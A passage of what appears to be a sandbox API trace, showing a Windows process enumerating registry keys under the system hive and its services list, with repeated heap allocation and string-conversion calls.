[0248.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.910] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0248.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0248.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.911] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0248.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0248.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.911] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0248.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0248.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.911] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0248.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0248.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.911] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0248.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0248.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.912] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0248.912] RegCloseKey (hKey=0x154) returned 0x0 [0248.912] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0248.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0248.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.912] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0248.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0248.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.912] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0248.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0248.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.913] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0248.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0248.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.913] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0248.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0248.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.913] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.913] RegCloseKey (hKey=0x148) returned 0x0 [0248.913] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0248.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0248.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.914] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0248.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0248.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bf8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0248.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.914] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0248.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0248.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0248.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.914] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0248.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0248.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bf8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0248.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.914] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0248.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0248.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0248.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.915] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0248.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0248.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bf8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0248.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.915] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0248.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0248.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.915] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0248.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0248.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.916] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0248.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0248.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.916] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0248.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0248.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.916] RtlFreeHeap 